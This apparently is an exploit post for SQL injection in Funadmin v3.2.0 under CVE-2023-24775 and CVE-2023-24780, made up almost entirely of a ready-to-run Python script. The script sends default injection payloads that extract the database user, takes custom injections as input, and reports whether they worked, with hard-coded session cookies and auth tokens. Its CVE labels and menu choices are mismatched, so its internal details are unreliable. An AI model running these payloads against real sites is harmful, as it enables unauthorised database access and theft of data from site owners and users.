Web SQL injection vulnerability Funadmin

[Wolverine]

CVE-2023-24780 & CVE-2023-24775​

Funadmin v3.2.0 was discovered to contain a SQL injection vulnerability
PoC: https://github.com/csffs/CVE-2023-24775-and-CVE-2023-24780
Details: https://github.com/funadmin/funadmin/issues/9 https://github.com/funadmin/funadmin/issues/6
Affected Products : Funadmin v3.2.0

import requests
import sys
import urllib.parse
import uuid



'''Генирация X-CSRF-TOKEN'''

csrf_token =uuid.uuid4()
csrf_token =str(csrf_token)
csrf_token = csrf_token.replace('-', '')



'''Добавление общих для двух сплоиитов заголовков'''
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
headers["Accept"] = "application/json, text/javascript, */*"
headers["Accept-Language"]= "zh-CN,zh"
headers["X-Requested-With"] = "XMLHttpRequest"
headers["X-CSRF-TOKEN"] = csrf_token



'''Сплоит для CVE-2023-24775'''
def poc_CVE_2023_24775(url):
    
    
    
    headers["Host"] = url
    headers["Content-Type"] = "application/x-www-form-urlencoded"
    headers["charset"] = "UTF-8"
    headers["Accept-Encoding"]= "gzip"
    
    
    url=str(url)
    url=url+"/backend/member.memberLevel/index?parentField=pid&"
    
    
    '''Добавление куки файлов - внимание если эти куки вам не подхдоят можете заменить на ваши сессионные куки '''
    cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041','PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D' }

    
    ''' Ввод sqli если вы не ввели ничего то ввод стандартной иньекции'''
    sqli= str(input("input selectFields[name]=name&selectFields[value]=your select sqli"))
    
    
    if(len(sqli)!=0):
        
        sqli = urllib.parse.quote_plus(sqli)
        url=url+sqli
        
    else:
        url=url+"selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29"
    
    
    print(url)
    
    
    '''Запрос на инькцию и вывод ответа'''
    sqli_request= requests.get(url, cookies=cookies, headers=headers)
    
    print(sqli_request.text)
    
    
    '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/9'''
    if('message' in sqli_request.text):
    
        print('**POC CVE-2023-24775 sqli works** :)')
    else:
    
        print('**POC CVE-2023-24775 sqli not works** :(')       



'''Сплоит для CVE-2023-24780'''
def poc_CVE_2023_24774(url):


    
    headers["Host"] = url
    headers["Origin"] = url
    headers["Accept-Encoding"] = "gzip, deflate"
    
    
    url=str(url)
    url=url+"/databases/table/columns?id='"   
    
    
    '''Добавление куки файлов - внимание если эти куки вам не подхдоят, можете заменить на ваши сессионные куки '''
    cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041', 'ci_session':'ca40t5m9pvlvp7gftr11qng0g0lofceq', 'PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D'}
    
    
    
    ''' Ввод sqli, если вы не ввели ничего то ввод стандартной иньекции'''
    sqli= str(input("input sqli:"))
    
    
    if(len(sqli)!=0):
    
        sqli = sqli.replace(' ', '+')
        url=url+sqli+"--+qRTY"
    
    else:
        url=url+"+AND+GTID_SUBSET(CONCAT(0x12,(SELECT+(ELT(6415=6415,1))),user()),6415)--+qRTY"
    
    print(url)
    
    
    '''Запрос на инькцию и вывод ответа'''
    sqli_request= requests.get(url, cookies=cookies, headers=headers)
    
    print(sqli_request.text)
    
    
    
    '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/6'''
    if('message' in sqli_request.text):
    
        print('**POC CVE-2023-24774 sqli works** :)')
    else:
    
        print('**POC CVE-2023-24774 sqli not works** :(')       


    
if __name__ == "__main__":


    args = ['-h','-u']
    
    if args[0] in sys.argv:
        print("-h= help, -u=url; python sql.py -u https://site.com")
        
        
    if args[1] in sys.argv:
    
        
        url=sys.argv[2]
        
        which_cve=int(input("which cve test,CVE-2023-24775 or CVE-2023-24780? if CVE-2023-24780 enter 1, if CVE-2023-24775 enter 2:"))
        
        
        if(which_cve==1):
        
            poc_CVE_2023_24775(url)
        
        if(which_cve==2):
        
            poc_CVE_2023_24774(url)